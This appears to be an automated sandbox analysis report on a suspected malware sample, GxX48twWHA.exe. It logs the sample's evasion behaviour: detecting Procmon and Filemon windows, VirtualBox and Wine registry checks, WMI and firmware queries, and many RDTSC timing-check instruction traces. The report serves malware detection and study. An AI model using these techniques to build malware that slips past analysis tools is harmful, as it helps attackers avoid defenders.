Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_05A97E36 push ebx; iretd	0_3_05A97E41
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C368 push 680139C3h; ret	0_3_0139C36D
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C368 push 680139C3h; ret	0_3_0139C36D
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C368 push 680139C3h; ret	0_3_0139C36D
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139CB68 push 680139CBh; retf	0_3_0139CB6D
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139CB68 push 680139CBh; retf	0_3_0139CB6D
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139CB68 push 680139CBh; retf	0_3_0139CB6D
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C360 pushad ; ret	0_3_0139C361
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C360 pushad ; ret	0_3_0139C361
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C360 pushad ; ret	0_3_0139C361
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139CB60 pushad ; retf	0_3_0139CB61
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139CB60 pushad ; retf	0_3_0139CB61
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139CB60 pushad ; retf	0_3_0139CB61
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C364 pushad ; ret	0_3_0139C365
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C364 pushad ; ret	0_3_0139C365
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Code function: 0_3_0139C364 pushad ; ret	0_3_0139C365

Source: GxX48twWHA.exe

Static PE information: section name: entropy: 7.983781686177482

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\GxX48twWHA.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\GxX48twWHA.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\GxX48twWHA.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE4712 second address: EE4717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE4717 second address: EE4722 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F7DD0B81646h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: ED306C second address: ED3089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jc 00007F7DD0B815D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE3709 second address: EE370D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE3FF3 second address: EE3FF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE63F6 second address: EE63FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE63FA second address: EE6400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE6400 second address: EE640A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F7DD0B81646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE640A second address: EE6470 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F7DD0B815D8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 pushad 0x00000028 add dword ptr [ebp+122D2706h], ecx 0x0000002e mov al, bl 0x00000030 popad 0x00000031 call 00007F7DD0B815D9h 0x00000036 jmp 00007F7DD0B815E8h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f jc 00007F7DD0B815D6h 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE6470 second address: EE6488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7DD0B81654h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE6488 second address: EE64D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d jnc 00007F7DD0B815DCh 0x00000013 jmp 00007F7DD0B815E9h 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jg 00007F7DD0B815E2h 0x00000023 jmp 00007F7DD0B815DCh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE64D1 second address: EE6543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81655h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jnp 00007F7DD0B8164Eh 0x00000013 push ebx 0x00000014 jo 00007F7DD0B81646h 0x0000001a pop ebx 0x0000001b pop eax 0x0000001c call 00007F7DD0B8164Eh 0x00000021 call 00007F7DD0B8164Ch 0x00000026 mov ecx, dword ptr [ebp+122D3C77h] 0x0000002c pop edi 0x0000002d pop ecx 0x0000002e push 00000003h 0x00000030 mov dword ptr [ebp+122D220Eh], esi 0x00000036 push 00000000h 0x00000038 movzx edx, ax 0x0000003b push 00000003h 0x0000003d adc edx, 068FA663h 0x00000043 call 00007F7DD0B81649h 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE6543 second address: EE6549 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE6549 second address: EE6571 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F7DD0B81646h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F7DD0B8164Bh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a jbe 00007F7DD0B81648h 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE679A second address: EE679E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE68CB second address: EE693E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F7DD0B81659h 0x00000018 mov eax, dword ptr [eax] 0x0000001a push esi 0x0000001b jg 00007F7DD0B8164Ch 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 jmp 00007F7DD0B81655h 0x0000002b pop eax 0x0000002c mov edi, dword ptr [ebp+122D1D4Dh] 0x00000032 lea ebx, dword ptr [ebp+1245131Bh] 0x00000038 xor dword ptr [ebp+122D1D53h], ebx 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jbe 00007F7DD0B81646h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE693E second address: EE6944 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EE6944 second address: EE695F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7DD0B8164Ch 0x00000008 jg 00007F7DD0B81646h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 js 00007F7DD0B81646h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EF9C1C second address: EF9C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F7DD0B815D6h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EF9C33 second address: EF9C37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EF9C37 second address: EF9C4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B815E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F09079 second address: F0907F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0907F second address: F090A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7DD0B815E9h 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F090A0 second address: F090A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F090A7 second address: F09105 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007F7DD0B815E6h 0x0000000a popad 0x0000000b jmp 00007F7DD0B815E7h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F7DD0B815DEh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F7DD0B815E6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F09105 second address: F09109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F07042 second address: F07047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F07334 second address: F0735F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B81658h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jc 00007F7DD0B81652h 0x00000010 jo 00007F7DD0B81646h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0735F second address: F0737E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F7DD0B815E7h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0737E second address: F07382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F07638 second address: F0763E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0763E second address: F07642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F07642 second address: F07646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F07950 second address: F07974 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007F7DD0B81646h 0x0000000f jmp 00007F7DD0B81653h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F07974 second address: F0797B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0797B second address: F07987 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jp 00007F7DD0B81646h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F07987 second address: F0798D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F080A4 second address: F080A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F080A8 second address: F080BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F7DD0B815DEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EFD567 second address: EFD56B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: EDD3BA second address: EDD3D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F7DD0B815D6h 0x0000000f jmp 00007F7DD0B815E0h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F08218 second address: F0821F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F088B6 second address: F088C6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 je 00007F7DD0B815D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F088C6 second address: F088D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F088D9 second address: F0890B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f jnp 00007F7DD0B815D6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F7DD0B815E8h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0890B second address: F08911 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F08C07 second address: F08C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F08EF8 second address: F08F2F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7DD0B81653h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F7DD0B81653h 0x00000011 push eax 0x00000012 push edx 0x00000013 je 00007F7DD0B81646h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F08F2F second address: F08F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F08F33 second address: F08F4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7DD0B8164Dh 0x00000007 jp 00007F7DD0B81646h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F08F4D second address: F08F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F7DD0B815DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0B3DD second address: F0B3E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0B3E1 second address: F0B412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 jmp 00007F7DD0B815DCh 0x0000000d jmp 00007F7DD0B815E3h 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F7DD0B815D6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0B412 second address: F0B416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0C910 second address: F0C914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F0C914 second address: F0C918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F10AD2 second address: F10AEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push esi 0x0000000b pushad 0x0000000c jc 00007F7DD0B815D6h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 pop esi 0x00000016 mov eax, dword ptr [eax] 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F151C8 second address: F1520A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F7DD0B8164Ah 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 jl 00007F7DD0B81646h 0x00000018 pushad 0x00000019 popad 0x0000001a pop eax 0x0000001b push edx 0x0000001c jmp 00007F7DD0B81651h 0x00000021 jmp 00007F7DD0B8164Ch 0x00000026 pop edx 0x00000027 jc 00007F7DD0B8164Ch 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F15331 second address: F1533C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F7DD0B815D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1533C second address: F15342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F15614 second address: F1561A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1561A second address: F1562B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 je 00007F7DD0B81646h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1562B second address: F15636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7DD0B815D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F15636 second address: F15642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F7DD0B81646h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F15642 second address: F15646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F15646 second address: F15676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 je 00007F7DD0B81646h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F7DD0B8164Eh 0x0000001a jg 00007F7DD0B81646h 0x00000020 push edx 0x00000021 pop edx 0x00000022 popad 0x00000023 push edi 0x00000024 pushad 0x00000025 popad 0x00000026 pop edi 0x00000027 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: F1599F second address: F159A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
